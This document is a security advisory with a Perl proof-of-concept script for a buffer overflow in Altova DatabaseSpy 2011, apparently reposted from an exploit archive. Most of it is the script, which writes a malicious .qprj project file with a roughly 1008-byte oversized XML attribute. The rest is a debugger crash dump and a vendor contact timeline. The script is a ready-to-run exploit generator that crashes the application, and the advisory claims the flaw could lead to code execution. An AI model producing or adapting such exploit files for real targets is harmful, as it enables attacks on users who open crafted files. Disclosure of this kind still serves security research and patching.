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Altova DatabaseSpy 2011 Project File Handling Buffer Overflow
[=============================================================
Altova DatabaseSpy 2011 Project File Handling Buffer Overflow
=============================================================
#!/usr/bin/perl
#
#
# Title: Altova DatabaseSpy 2011 Project File Handling Buffer Overflow Vulnerability
#
#
# Vendor: Altova GmbH
# Product web page: http://www.altova.com
# Affected version: Enterprise Edition 2011
#
#
# Summary: Altova DatabaseSpy® 2011 is the unique multi-database query, design,
# and database comparison tool. It connects to all major databases, easing SQL
# editing, database structure design, database content editing, database schema
# and content comparison, and database conversion for a fraction of the cost of
# single-database solutions.
#
#
# Desc: The Altova DatabaseSpy 2011 Enterprise Edition suffers from a buffer
# overflow/memory corruption vulnerability when handling project files (.qprj).
# The issue is triggered because there is no boundry checking of some XML tag
# property values, ex: <Folder FolderName="SQL" Type="AAAAAAA..../>" (~1000 bytes).
# This can aid the attacker to execute arbitrary machine code in the context of an
# affected node (locally and remotely) via file crafting or computer-based social
# engineering.
#
#
# Tested on: Microsoft Windows XP Professional SP3 (English)
#
#
#----------------------------------------------------------------------------------#
#
# (342c.37c0): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# eax=04430041 ebx=0203ff98 ecx=0443deda edx=56413f2e esi=0022dd98 edi=00000016
# eip=00420b83 esp=0022dc00 ebp=00000017 iopl=0 nv up ei pl nz na po nc
# cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
# *** ERROR: Symbol file could not be found. Defaulted to export symbols for
# DatabaseSpy.exe - DatabaseSpy+0x20b83:
# 00420b83 663b02 cmp ax,word ptr [edx] ds:0023:56413f2e=????
#
#----------------------------------------------------------------------------------#
#
#
# Vulnerability discovered by: Gjoko 'LiquidWorm' Krstic
# liquidworm gmail com
# Zero Science Lab - http://www.zeroscience.mk
#
#
# Vendor status: [17.10.2010] Vulnerability discovered.
# [17.10.2010] Initial contact with the vendor with sent PoC files.
# [21.10.2010] No reply from vendor.
# [22.10.2010] Public advisory released.
#
#
# Advisory ID: ZSL-2010-4971
# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2010-4971.php
# Advisory TXT: http://www.zeroscience.mk/codes/dbspy_bof.txt
#
#
# 17.10.2010
#
use strict;
system cls;
sub header()
{
print "
@=---===---===---===---===---===---===---===---=@
| |
| Proof Of Concept PERL script for |
| |
| Altova DatabaseSpy 2011 (Enteprise Edition) |
| |
| |
| |
| |
| --- |
| |
| Copyleft (c) 2010 |
| |
| Zero Science Lab - http://www.zeroscience.mk |
| |
@=---===---===---===---===---===---===---===---=@
\n\n";
}
my $FILENAME = "DEATH_FROM_ABOVE.qprj"; #DatabaseSpy Project File
my $PAYLOAD = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". #48
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; #1008B
#21
my $PROJECT = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\xA<!-".
"- DatabaseSpy Project File -->\xA<Project Vers".
"ion=\"2\" Expanded=\"Yes\" Type=\"Root\" Title=".
"\"test\">\xA\x9<Folder FolderName=\"Data Sources".
"\" Type=\"DataSourceFolder\"/>\xA\x9<Folder Fol".
"derName=\"SQL\" Type=\"SQLRootFolder\" database".
"_kind=\"Unknown\" datasource=\"Offline\" descrip".
"tion=\"Store and organize SQL files for this pro".
"ject.\" blockingstrategy=\"semi\"/>\xA\x9<Folder".
" FolderName=\"Design\" Type=\"$PAYLOAD\" databas".
"e_kind=\"Unknown\" datasource=\"Offline\" descri".
"ption=\"I LOVE VERONICA CORNINGSTONE.\"/>\xA\x9<".
"Folder FolderName=\"Data Diff\" Type=\"DataDiffR".
"ootFolder\"/>\xA\x9<Folder FolderName=\"Schema D".
"iff\" Type=\"Schema DiffRootFolder\"/>\xA\x9<Fol".
"der FolderName=\"Favorites\" Type=\"FavoriteFold".
"er\"/>\xA</Project>\xA";
sub code()
{
system ("color 3"); #~!@#$%^&*()_+|<>?:"{}=-`';/.,0
open qprj, ">./$FILENAME" || die "\nCan't open #$_@
$FILENAME: $!"; print "\n (1) "; system("pause"); #
print qprj $PROJECT; print "\n (2) Buffering mali".
"cious format file . . .\r\n"; sleep 2; close qprj;
print "\n (3) File $FILENAME created successfully".
"!\n"; sleep 2; system ("color \x44"); sleep 1; #.%
print "\n (4) And the color is changed.\n";
}
print "\n";
header();
code();
#EOF
# 0day.today [2024-07-05] #